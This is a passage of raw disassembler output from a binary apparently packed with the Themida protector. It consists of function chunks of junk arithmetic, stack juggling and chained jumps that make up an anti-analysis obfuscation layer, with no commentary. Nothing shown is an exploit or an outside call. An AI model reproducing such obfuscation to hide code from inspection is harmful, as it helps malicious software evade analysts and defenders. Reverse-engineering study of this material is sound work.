sub_5620B7 loc_5655A0: ; CODE XREF: sub_5620B7+1688j add esp, 4 jmp loc_560E40 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56189F loc_5655A8: ; CODE XREF: sub_56189F+14Bj push dword ptr [esp+4] pop eax pop [esp+4+var_4] pop esp movzx ecx, al push 1647h mov [esp+0], ecx jmp loc_570652 ; END OF FUNCTION CHUNK FOR sub_56189F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_5655C1: ; CODE XREF: sub_560EA2+CF64j pop esi push ebx pop ebp pop ebx sub eax, 26617FFEh add eax, 3C2B7938h add eax, 655B651Ah add eax, 1545461Bh add eax, ebp sub eax, 1545461Bh push ebx jmp loc_563417 ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- loc_5655E6: ; CODE XREF: Themida_:0056A90Ej sub esp, 4 jmp loc_5623FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566078 loc_5655F1: ; CODE XREF: sub_566078+273j push [esp-4+arg_0] jmp loc_56880E ; END OF FUNCTION CHUNK FOR sub_566078 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565849 loc_5655F9: ; CODE XREF: sub_565849+8427j sub ebx, edx pop edx sub edx, ebx push [esp+4+var_4] pop ebx add esp, 4 push ebp mov ebp, 181377C0h add edx, ebp pop ebp jmp loc_567EC8 ; END OF FUNCTION CHUNK FOR sub_565849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_565616: ; CODE XREF: sub_5738F4-C9FBj push 2D17h jmp loc_56210B ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_565620: ; CODE XREF: sub_56CC46+626Dj pop edx jmp loc_56B758 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_565626: ; CODE XREF: sub_56D69D+570Fj pop edx jmp loc_571E91 ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56562C: ; CODE XREF: sub_570732-92Fj pop esi jmp loc_5690D5 ; END OF FUNCTION CHUNK FOR sub_570732 ; =============== S U B R O U T I N E ======================================= sub_565632 proc near ; CODE XREF: sub_56651E+2C91j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 005609B5 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00563B6C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005665D4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005670EE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056739E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00567CD4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00567E4A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00568776 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00568808 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00568FD7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056A99B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056B517 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056B6DD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056BBC6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056C098 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056C2DA SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056C52E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056CAE8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056D428 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056DAF0 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056DDA3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056E289 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056E45D SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056F26D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056F2EA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F3EC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056F4B3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F837 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00570305 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00570865 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00570971 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00571958 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00571CC7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00571FBD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057258F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00572A4C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00573D30 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 00574716 SIZE 00000006 BYTES sub esp, 4 jmp loc_567E4A sub_565632 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56563A: ; CODE XREF: sub_561418+A944j mov [esp+14h+var_14], ebp push 5FBA31A4h push [esp+18h+var_18] pop ebp jmp loc_56622C ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56564B: ; CODE XREF: sub_574304+3j mov [esp+4+var_4], esp add [esp+4+var_4], 4 push [esp+4+var_4] jmp loc_5734B3 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572669 loc_56565A: ; CODE XREF: sub_572669+1j mov ebx, 23105BCFh add edx, ebx pop ebx push ecx push esp jmp loc_568537 ; END OF FUNCTION CHUNK FOR sub_572669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_565669: ; CODE XREF: sub_5634AF+365j sub edx, 25C36349h add edx, 90E1B49h jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5634AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_56567A: ; CODE XREF: sub_567D31+B52Fj add esi, 48C03077h pop ebx and ecx, esi mov esi, [esp-4+arg_0] jmp sub_56C83E ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_56568B: ; CODE XREF: sub_560CF1+F207j mov eax, [esp+14h+var_14] jmp loc_5639E7 ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_565693: ; CODE XREF: sub_572641-11CA5j add esp, 2 xor dl, 99h mov bl, dl jmp loc_569FEE ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_5656A0: ; CODE XREF: sub_5634AF+20ECj add dword ptr [esp+0], 57472D9Fh jmp loc_5645C5 ; END OF FUNCTION CHUNK FOR sub_5634AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561826 loc_5656AC: ; CODE XREF: sub_561826+1318Fj xor [esp+6+var_6], bp jmp loc_575465 ; END OF FUNCTION CHUNK FOR sub_561826 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5656B5: ; CODE XREF: sub_57354D-93CCj xor eax, edx push esi mov esi, 264438C1h push ebp jmp loc_56788D ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_5656C3: ; CODE XREF: sub_569FB8+B1B2j mov ebp, 38690BB6h xor ebp, 38690BB4h add ecx, ebp pop ebp xchg ecx, [esp+6+var_6] jmp loc_560643 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_5656D9: ; CODE XREF: sub_574CDD-D390j mov edi, eax pop eax add edi, 1 add edi, 0FFFFFFFFh neg edi xor edi, 0D793A247h xor ecx, edi pop edi jmp loc_56EB58 ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_5656F5: ; CODE XREF: sub_5713A7-F5E9j push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp+0Ch+var_C] pop esp push ebx push 1F3335B9h pop ebx jmp loc_571CA7 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_565713: ; CODE XREF: sub_571088-1CEFj mov cx, [esp+0] jmp loc_56A6B0 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_56571C: ; CODE XREF: sub_570FB7-5573j push 5A2Dh jmp loc_5605F5 ; END OF FUNCTION CHUNK FOR sub_570FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564CDA loc_565726: ; CODE XREF: sub_564CDA-47EDj add ebp, eax add ebp, 578633E3h pop eax jmp loc_56EF17 ; END OF FUNCTION CHUNK FOR sub_564CDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_565734: ; CODE XREF: sub_574304-513Aj mov eax, 4 add ebp, eax pop eax add ebp, 4 xchg ebp, [esp+4+var_4] pop esp push esi sub esp, 4 mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp+4+var_4] pop esp jmp loc_56B3E0 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_565761: ; CODE XREF: sub_56BD44-B6AEj mov esp, [esp+0] mul cx push small 2F7Ch mov [esp+0], dx jmp loc_56C0CE ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_565774: ; CODE XREF: sub_568E5C-45C6j push 385h mov [esp+8+var_8], eax mov eax, 6469501Eh push edx jmp loc_561720 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_565787: ; CODE XREF: sub_56616D+C2CBj or eax, eax jz loc_570135 push dword ptr [edi+28h] jmp loc_57485E ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_565797: ; CODE XREF: sub_572DD7-78F7j pop ecx mov ebx, edi pop edi add [esp+4], ebx pop ebx push eax mov eax, 20CD74EDh jmp loc_574396 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_5657AB: ; CODE XREF: sub_56102D+1j mov ebx, 73665EFFh shr ebx, 2 shl ebx, 4 jmp loc_56FD5E ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_5657BB: ; CODE XREF: sub_574F16-3B9j mov dl, bl pop ebx push eax jmp loc_569438 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- loc_5657C4: ; CODE XREF: Themida_:005700ADj add ebx, 3A137ACFh jmp loc_563A60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_5657CF: ; CODE XREF: sub_56D855-F31j push edi push esi jmp loc_56158E ; END OF FUNCTION CHUNK FOR sub_56D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570C6A loc_5657D6: ; CODE XREF: sub_570C6A-A33Aj push edi mov edi, esp add edi, 4 jmp loc_56C77A ; END OF FUNCTION CHUNK FOR sub_570C6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5657E4: ; CODE XREF: sub_5678CB-436j pop esp jmp loc_57387C ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57117B loc_5657EA: ; CODE XREF: sub_57117B+946j neg cl push ebx mov bl, 0Ch xor cl, bl pop ebx xor cl, 0ACh push eax mov al, cl mov bh, al pop eax mov ecx, [esp+0Ch+var_C] add esp, 4 push ecx jmp loc_57148F ; END OF FUNCTION CHUNK FOR sub_57117B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_56580A: ; CODE XREF: sub_56241E+13032j add esp, 4 sub cx, bx jmp loc_567E0C ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_565818: ; CODE XREF: sub_5605BC+75D5j xor ebp, 7EF42466h jmp loc_56543E ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_565823: ; CODE XREF: sub_57146D-E49Aj sub edx, 4 xor edx, [esp+0Ah+var_C+2] xor [esp+0Ah+var_C+2], edx xor edx, [esp+0Ah+var_C+2] pop esp mov [esp+6+var_8+2], edx jmp loc_56FDE4 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_565838: ; CODE XREF: sub_5605BC+293Dj mov ecx, [esp+20h+var_20] push edx mov edx, esp add edx, 4 jmp loc_563F70 ; END OF FUNCTION CHUNK FOR sub_5605BC ; =============== S U B R O U T I N E ======================================= sub_565849 proc near ; CODE XREF: sub_566882+88ABj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00561AAC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00564D45 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005655F9 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00567EC8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056DC64 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056F132 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0057088D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00571E59 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00572826 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0057452C SIZE 00000032 BYTES push ebx mov ebx, 42035CAh jmp loc_56DC64 sub_565849 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B6E loc_565854: ; CODE XREF: sub_565B6E-1C2Fj push edi mov edi, 7585596Dh push ebx mov ebx, 48ED28B1h shl ebx, 7 shl ebx, 6 push ecx push edi jmp loc_5727C4 ; END OF FUNCTION CHUNK FOR sub_565B6E ; --------------------------------------------------------------------------- loc_56586D: ; CODE XREF: Themida_:00568785j not dword ptr [esp] jmp loc_571BC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_565875: ; CODE XREF: sub_56D69D+212Aj or edx, 72B53F1Ah sub edx, 2C720372h jmp loc_562460 ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_565886: ; CODE XREF: sub_5653AD+EB17j mov edx, 229A0504h jmp loc_570FF5 ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_565890: ; CODE XREF: sub_569CBC+67B3j pop [esp+14h+var_14] mov esp, [esp+10h+var_10] jmp loc_5752AB ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B71F loc_56589B: ; CODE XREF: sub_56B71F-2EFBj pop edx sub ebx, eax jmp loc_56E38B ; END OF FUNCTION CHUNK FOR sub_56B71F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_5658A3: ; CODE XREF: sub_572641-4B56j xor bl, 94h xor bl, 0D6h add al, 0C0h jmp loc_569E95 ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_5658B0: ; CODE XREF: sub_564D26+1F58j push 48AB65C7h mov ebp, [esp+20h+var_20] push edi mov edi, esp jmp loc_563216 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5658C0: ; CODE XREF: sub_57354D-1909j mov eax, [esp+8+var_8] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0Ch+var_C] pop esp push esi mov esi, esp add esi, 4 jmp loc_56E855 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB51 loc_5658E4: ; CODE XREF: sub_56AB51+7243j mov fs:[edx], al jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56AB51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574DC1 loc_5658EC: ; CODE XREF: sub_574DC1-99C9j add eax, ebp push ecx jmp loc_574F40 ; END OF FUNCTION CHUNK FOR sub_574DC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DD54 loc_5658F4: ; CODE XREF: sub_56DD54-19CAj pop [esp-4+arg_0] mov esp, [esp-8+arg_4] add edi, edx jmp loc_56850A ; END OF FUNCTION CHUNK FOR sub_56DD54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564686 loc_565901: ; CODE XREF: sub_564686+C873j mov ebp, esp add ebp, 4 add ebp, 4 push 1DF0h mov [esp+8+var_8], ebp push [esp+8+var_4] pop ebp pop [esp+8+var_8] mov esp, [esp+4+var_4] xchg ecx, [esp+0] jmp loc_565488 ; END OF FUNCTION CHUNK FOR sub_564686 ; =============== S U B R O U T I N E ======================================= sub_56592A proc near ; DATA XREF: Themida_:0055FF04o mov cx, [esp+0] jmp sub_56E05C sub_56592A endp ; --------------------------------------------------------------------------- loc_565933: ; CODE XREF: Themida_:005671ADj xor [esp], ecx xor ecx, [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_565945: ; CODE XREF: sub_571C93-10488j mov [esp+8+var_8], ecx push ebx jmp loc_56654C ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570B3C loc_56594E: ; CODE XREF: sub_570B3C-3371j add esp, 4 ; END OF FUNCTION CHUNK FOR sub_570B3C ; START OF FUNCTION CHUNK FOR sub_56B06D loc_565954: ; CODE XREF: sub_56B06D+259Ej push eax mov eax, 626D205Ch sub eax, 1 push ebx sub esp, 4 mov [esp+18h+var_18], ebp jmp loc_564DFB ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56596B: ; CODE XREF: sub_57354D-129CEj push eax jmp loc_56697A ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563207 loc_565971: ; CODE XREF: sub_563207+ED39j add ebp, 14682E63h xor ebp, 696538C5h sub ebp, 6D5235FCh sub esp, 4 mov [esp+10h+var_10], ebp not [esp+10h+var_10] jmp loc_5672C9 ; END OF FUNCTION CHUNK FOR sub_563207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FAE2 loc_565991: ; CODE XREF: sub_56FAE2+10j push eax mov eax, 2D530D76h mov edx, 33847F96h jmp loc_56907A ; END OF FUNCTION CHUNK FOR sub_56FAE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C0A loc_5659A1: ; CODE XREF: sub_571C0A-936Fj add esi, 4 push ebx push ebp mov ebp, 7A700DF5h mov ebx, 7A700DF9h jmp loc_574BE1 ; END OF FUNCTION CHUNK FOR sub_571C0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_5659B8: ; CODE XREF: sub_56616D-432Ej pop esi and ecx, 1D472216h push edx mov edx, 51986FD4h xor ecx, edx pop edx add eax, ecx mov ecx, [esp-8+arg_4] jmp loc_563030 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_5659D2: ; CODE XREF: sub_561027+ACEEj add [edx], esi mov edx, [esp+18h+var_18] add esp, 4 jmp loc_56CE64 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_5659E2: ; CODE XREF: sub_57523A-2157j sub edi, 0B7F2A3Bh add edi, 7B9E311Ah add edi, 233D0451h jmp loc_56F202 ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CFE loc_5659F9: ; CODE XREF: sub_567CFE+9D75j mov eax, 636E169Ch inc eax add eax, 0FFFFFFFFh jmp loc_55FFB8 ; END OF FUNCTION CHUNK FOR sub_567CFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD97 loc_565A07: ; CODE XREF: sub_56FD97-49E6j mov edx, [esp+8+var_8] add esp, 4 jmp loc_560145 ; END OF FUNCTION CHUNK FOR sub_56FD97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D455 loc_565A15: ; CODE XREF: sub_56D455+Aj mov [esp+4+var_4], ebx mov ebx, esp add ebx, 4 push 100h mov [esp+8+var_8], eax mov eax, 48607F32h jmp sub_566B37 ; END OF FUNCTION CHUNK FOR sub_56D455 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564EBE loc_565A32: ; CODE XREF: sub_564EBE-1DEBj neg ecx inc ecx jmp loc_56C695 ; END OF FUNCTION CHUNK FOR sub_564EBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_565A3A: ; CODE XREF: sub_56FB8A-71D4j pop ebx jmp loc_56A729 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747D7 loc_565A40: ; CODE XREF: sub_5747D7-5ED2j mov eax, [esp+4+var_4] push eax jmp loc_564566 ; END OF FUNCTION CHUNK FOR sub_5747D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_565A49: ; CODE XREF: sub_56BD44-8189j xor ebx, 3A793024h add eax, ebx pop ebx sub esp, 4 mov [esp+0], edi push 2 push [esp+4+var_4] pop edi push ecx mov ecx, esp add ecx, 4 add ecx, 4 push 44F0h jmp loc_562007 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680FB loc_565A7A: ; CODE XREF: sub_5680FB+1A14j mov ebx, esp add ebx, 4 jmp loc_56B907 ; END OF FUNCTION CHUNK FOR sub_5680FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567049 loc_565A87: ; CODE XREF: sub_567049+A3AEj xor [esp+0], ebp pop dword ptr [edi+24h] ; END OF FUNCTION CHUNK FOR sub_567049 ; =============== S U B R O U T I N E ======================================= sub_565A8D proc near ; CODE XREF: sub_57354D-1669j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00565D60 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005686BE SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005699DA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00569D16 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056C3D4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056CAAA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056CF72 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056DDD3 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056FF14 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005709F6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00572199 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057516F SIZE 00000019 BYTES sub esp, 4 mov [esp+4+var_4], ebx push 3943h mov [esp+8+var_8], esp jmp loc_56DDD3 sub_565A8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_565AA0: ; CODE XREF: sub_569CBC+7EF0j mov edi, esp add edi, 4 jmp loc_569E71 ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_565AAD: ; CODE XREF: sub_5685B2+44B9j pop ecx pop ebp mov ebp, esi push [esp+4+var_4] pop esi add esp, 4 xor ebp, edi jmp loc_56844E ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5631A3 loc_565ABF: ; CODE XREF: sub_5631A3+8CDFj add dword ptr [esp+4], 13C935A6h push [esp+4+var_4] pop edi push edi mov edi, esp add edi, 4 add edi, 4 push edi jmp loc_560432 ; END OF FUNCTION CHUNK FOR sub_5631A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_565ADD: ; CODE XREF: sub_567CF5+9372j sub edx, 4 xchg edx, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp-4+arg_0], esi push 527Ch mov [esp+0], esp jmp loc_568002 ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_565AF6: ; CODE XREF: sub_56FA15+4D95j push dx push edx jmp loc_5748B2 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; =============== S U B R O U T I N E ======================================= sub_565AFE proc near ; CODE XREF: sub_56DFF9-9B7Ej var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = word ptr 0Ch ; FUNCTION CHUNK AT 00563B56 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00563FE0 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 00564E36 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00573430 SIZE 00000011 BYTES push ebx mov ebx, 0DD77A261h sub ecx, 1DEB639Fh add ecx, 350D0166h add ecx, ebx push ebx mov ebx, 350D0166h sub ecx, ebx pop ebx add ecx, 1DEB639Fh mov ebx, [esp+0] add esp, 4 sub edx, 5565240Ah push edi jmp loc_564E36 sub_565AFE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_565B36: ; CODE XREF: sub_567D31-77C0j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop [esp+4+var_4] pop esp or eax, eax jz loc_574BEB push dword ptr [edi+1Ch] sub dword ptr [esp+0], 1DE718D2h pop ecx jmp loc_565256 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_565B5B: ; CODE XREF: sub_57146D-87BFj pop eax pop ebx add bl, 75h add bl, dl sub bl, 75h push dword ptr [esp+0] pop edx jmp loc_56A4BD ; END OF FUNCTION CHUNK FOR sub_57146D ; =============== S U B R O U T I N E ======================================= sub_565B6E proc near ; CODE XREF: sub_56628B+9A96j var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00563F1E SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005648B0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00565854 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056866E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056C771 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056EF01 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056F649 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00570D89 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00570E58 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00571F68 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005727C4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00574794 SIZE 00000006 BYTES push ebp mov ebp, 5510403h sub eax, ebp pop ebp sub esp, 4 mov [esp+4+var_4], esi mov esi, 0F186F18h sub eax, esi pop esi add eax, ecx add eax, 0F186F18h add eax, 5510403h mov ecx, [esp+0] jmp loc_574794 sub_565B6E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_565B9C: ; CODE XREF: sub_569CBC-3FCDj sub esi, ecx sub esi, 3C714A4h pop ecx add esi, eax push 57DBh mov [esp+0], ebx mov ebx, 27E32E8Bh shl ebx, 2 jmp loc_5641F9 ; END OF FUNCTION CHUNK FOR sub_569CBC ; =============== S U B R O U T I N E ======================================= sub_565BBC proc near ; DATA XREF: Themida_:0055FE5Co pop dword ptr [edx] jmp loc_55FF9F sub_565BBC 